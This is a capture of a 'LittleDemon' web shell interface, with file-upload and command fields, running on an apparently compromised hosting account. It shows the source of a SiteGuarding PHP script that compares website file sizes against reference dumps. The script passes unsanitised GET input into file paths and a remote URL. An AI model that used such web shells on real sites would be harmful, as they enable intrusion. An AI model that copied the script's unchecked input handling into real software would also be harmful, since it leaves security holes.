LittleDemon WebShell


Linux hosting5.siteguarding.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Path : /home/devsafetybis/www/stas/
File Upload :
Command :
Current File : /home/devsafetybis/www/stas/dump_file_compare.php

<?php
/** 33F190D04D71-0B067FFC03A6-1810FA8DBECA
 *
 * Dump File Compare
 * compares current website files with the original files for WordPress, Joomla and other CMS
 *
 * Version: 1.2.5
 * Date: 7 Feb 2018
 */
define('MAIN_SERVER_URL', 'http://www.siteguarding.com/_get_file.php?file=');

error_reporting(0);
set_time_limit(0);

// Load Funcs class
if (file_exists($scan_path . '__class.sg.funcs.php')) require_once($scan_path . '__class.sg.funcs.php');
else die('<p class="err b">Class __class.sg.funcs.php is not loaded </p>');


$scanner = new SiteGuarding_files();
$scanner->scan_path = $scan_path;
$scanner->remove_slash = true;
//$scanner->short_path = false;
$scanner->filter_ext = true;

$show = intval($_GET['show']);
if ($show > 0) $show = true;
else $show = false;

$scanner->show_output = $show;


$create_dump = intval($_GET['create']);
$compare_dump = intval($_GET['compare']);
if ($compare_dump == 1) $compare_dumpname = trim($_GET['dumpname']);

$host = $_SERVER['HTTP_HOST'];
//$link_style = ($host == 'localhost') ? 'visibility:visible;' : 'visibility:hidden;';
$link_style = 'visibility:visible;';


if ($compare_dump == 1 && $compare_dumpname != '') {
    // Get dump array from this server
    $local_dumpfile = $compare_dumpname . '.json';
    echo '<p>Try to load dump file [' . $local_dumpfile . '] from the local server ' . $compare_dumpname . '</p>';
    if (file_exists($scan_path . DIRSEP . $local_dumpfile)) {
        $handle = fopen($scan_path . DIRSEP . $local_dumpfile, "r");
        $dump_json = fread($handle, filesize($scan_path . DIRSEP . $local_dumpfile));
        fclose($handle);
        $files_db_original = (array)json_decode($dump_json, true);
        if ($files_db_original === false) {
            echo '<p class="err b">Can\'t decode dump content to array</p>';
            exit;
        }

        echo '<p class="ok b">Dump content ' . $compare_dumpname . ' - loaded from ' . $scan_path . DIRSEP . $local_dumpfile . '</p>';
    } else {
        // Get dump array from SG server
        echo '<p class="err">Dump file ' . $scan_path . DIRSEP . $local_dumpfile . ' is absent.</p>';

        echo '<p>Try to load dump file [' . $compare_dumpname . '] from the SiteGuarding server.</p>';

        $dump_json = trim(SGFUNC_GetRemote_file_content(MAIN_SERVER_URL . 'dumps&dumpname=' . $compare_dumpname . '&time=' . time(), false, true));
        //$dump_json = trim(file_get_contents(""));
        if ($dump_json == '') {
            echo '<p class="err b">Can\'t get dump content from SiteGuarding server for ' . $compare_dumpname . '</p>';
            exit;
        }
        $files_db_original = (array)json_decode($dump_json, true);
        if ($files_db_original === false) {
            echo '<p class="err b">Can\'t decode dump content to array</p>';
            exit;
        }

        echo '<p class="ok b">Dump content ' . $compare_dumpname . ' - loaded from SiteGuarding server.</p>';
    }
}

echo '<p>Scan path: ' . $scan_path . '</p>';

$cms_info = SGFUNC_DetectCMS($scan_path);
echo 'Detected CMS: ';
if ($cms_info['cms'] != '') echo $cms_info['cms'] . ' ver.: ' . $cms_info['version'];
else echo '<span class="err">not detected</span>';
if ($cms_info['dumpname'] != '') echo "<br>" . 'Dumpname: ' . $cms_info['dumpname'];
echo "<br><br>";

echo '<p><b>Quick commands:</b></p>';
$link = 'http://' . $_SERVER['HTTP_HOST'] . '/dump_file_compare.php?create=1';
echo '<p style="' . $link_style . '">Create dump file: <a href="' . $link . '">' . $link . '</a></p>';

$link = 'http://' . $_SERVER['HTTP_HOST'] . '/dump_file_compare.php?compare=1&dumpname=' . $cms_info['dumpname'];
echo '<p>Start compare process: <a href="' . $link . '">' . $link . '</a></p>';

if ($create_dump == 0 && $compare_dump == 0) exit;


if ($create_dump == 1) {
    $files = $scanner->GetFileList($show);

    echo "<br><br>";

    echo 'Total Files: ' . count($files) . "<br><br>";

    $files_db = array();
    if (count($files)) {

        foreach ($files as $file) {
            if ($file == '__class.sg.funcs.php' || $file == 'dump_file_compare.php') continue;
            $handle = fopen($scan_path . DIRSEP . $file, "r");
            $contents = fread($handle, filesize($scan_path . DIRSEP . $file));
            fclose($handle);
            $contents = str_replace(array(" ", "\r", "\n", "\t"), "", $contents);
            $files_db[$file] = strlen($contents);
        }
    }


    // Save
    $dump_filename = DIRSEP . 'dump_' . date("Y_m_d_His") . '_' . $cms_info['dumpname'] . '.json';
    echo "Dump file: " . $dump_filename . "<br>";
    $dump_filename = dirname(__FILE__) . $dump_filename;

    $fp = fopen($dump_filename, 'w');
    $status = fwrite($fp, json_encode($files_db));
    if ($status === false) echo '<p class="err">Cant save dump file</p>';
    else echo '<p class="ok">Dump - saved</p>';
    fclose($fp);
}



if ($compare_dump == 1) {
    foreach ($files_db_original as $file_original_name => $file_original_size) {
        if (file_exists($scan_path . DIRSEP . $file_original_name)) {
            $handle = fopen($scan_path . DIRSEP . $file_original_name, "r");
            $contents = fread($handle, filesize($scan_path . DIRSEP . $file_original_name));
            fclose($handle);
            $contents = str_replace(array(" ", "\r", "\n", "\t"), "", $contents);
            $tmp_filesize = strlen($contents);
            if ($tmp_filesize == $file_original_size) {
                //echo $file_original_name.' - <span class="ok">ok</span>'."<br>";
            } else {
                $diff_size = $tmp_filesize - $file_original_size;
                if ($diff_size > 0) {
                    $tmp_sign = "+";
                    $tmp_css_size = "color_highlight_red";
                } else {
                    $tmp_sign = "";
                    $tmp_css_size = "err b";
                }
                echo $file_original_name . ' - <span class="err">size problem</span> <span class="' . $tmp_css_size . '">' . $tmp_sign . $diff_size . ' bytes</span>' . "<br>";
            }
        } else {
            echo '<span class="color_light_grey">' . $file_original_name . ' - </span><span class="color_light_red">absent</span>' . "<br>";
        }
    }
}



?>

LittleDemon - FACEBOOK
[ KELUAR ]